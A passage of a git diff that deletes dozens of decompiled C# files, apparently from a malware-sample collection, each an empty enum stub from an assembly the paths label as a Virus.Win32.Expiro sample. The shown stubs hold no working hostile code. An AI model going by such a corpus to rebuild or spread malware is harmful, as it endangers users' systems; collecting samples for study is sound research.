b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHELLPROPSHEETEXTPAGEID.cs deleted file mode 100644 index e8eb1ead..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHELLPROPSHEETEXTPAGEID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHELLPROPSHEETEXTPAGEID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSHELLPROPSHEETEXTPAGEID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHGDN.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHGDN.cs deleted file mode 100644 index af4c2437..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHGDN.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHGDN -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSHGDN -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSIATTRIBFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSIATTRIBFLAGS.cs deleted file mode 100644 index 455a9fae..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSIATTRIBFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSIATTRIBFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSIATTRIBFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSIGDN.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSIGDN.cs deleted file mode 100644 index 058a88fc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSIGDN.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSIGDN -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSIGDN -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSIIGB.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSIIGB.cs deleted file mode 100644 index 3d3c5e2d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSIIGB.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSIIGB -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagSIIGB -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSLGP_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSLGP_FLAGS.cs deleted file mode 100644 index 31629e54..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSLGP_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSLGP_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSLGP_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSLR_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSLR_FLAGS.cs deleted file mode 100644 index b2148d5f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSLR_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSLR_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagSLR_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSMINFOFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSMINFOFLAGS.cs deleted file mode 100644 index d4e8f12c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSMINFOFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSMINFOFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSMINFOFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSMINFOMASK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSMINFOMASK.cs deleted file mode 100644 index 2714d2ec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSMINFOMASK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSMINFOMASK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSMINFOMASK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSMINFOTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSMINFOTYPE.cs deleted file mode 100644 index 3e89e387..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSMINFOTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSMINFOTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagSMINFOTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSPBEGINF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSPBEGINF.cs deleted file mode 100644 index 1c01e3d4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSPBEGINF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSPBEGINF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSPBEGINF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSPINITF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSPINITF.cs deleted file mode 100644 index 2d3ae781..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSPINITF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSPINITF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSPINITF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTATFLAG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTATFLAG.cs deleted file mode 100644 index 0cb1db94..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTATFLAG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTATFLAG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTATFLAG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTDMSHLFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTDMSHLFLAGS.cs deleted file mode 100644 index 3447f3f6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTDMSHLFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTDMSHLFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSTDMSHLFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGC.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGC.cs deleted file mode 100644 index 4e4c4e88..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGC.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGC -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTGC -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGMOVE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGMOVE.cs deleted file mode 100644 index 940bf23c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGMOVE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGMOVE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTGMOVE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGOP.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGOP.cs deleted file mode 100644 index c099b2ac..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGOP.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGOP -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTGOP -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGTY.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGTY.cs deleted file mode 100644 index f861beb7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGTY.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGTY -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSTGTY -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTREAM_SEEK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTREAM_SEEK.cs deleted file mode 100644 index 110288fd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTREAM_SEEK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTREAM_SEEK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTREAM_SEEK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRRET_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRRET_TYPE.cs deleted file mode 100644 index 9e98ef3a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRRET_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRRET_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSTRRET_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_MULTIOPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_MULTIOPTION.cs deleted file mode 100644 index 405eaeb7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_MULTIOPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRUCTURED_QUERY_MULTIOPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagSTRUCTURED_QUERY_MULTIOPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_PARSE_ERROR.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_PARSE_ERROR.cs deleted file mode 100644 index dd27a6e3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_PARSE_ERROR.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRUCTURED_QUERY_PARSE_ERROR -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSTRUCTURED_QUERY_PARSE_ERROR -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs deleted file mode 100644 index 4845f1cd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRUCTURED_QUERY_RESOLVE_OPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTRUCTURED_QUERY_RESOLVE_OPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_SINGLE_OPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_SINGLE_OPTION.cs deleted file mode 100644 index ff2fd7a4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_SINGLE_OPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRUCTURED_QUERY_SINGLE_OPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSTRUCTURED_QUERY_SINGLE_OPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSVGIO.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSVGIO.cs deleted file mode 100644 index 4126cc3d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSVGIO.cs +++ 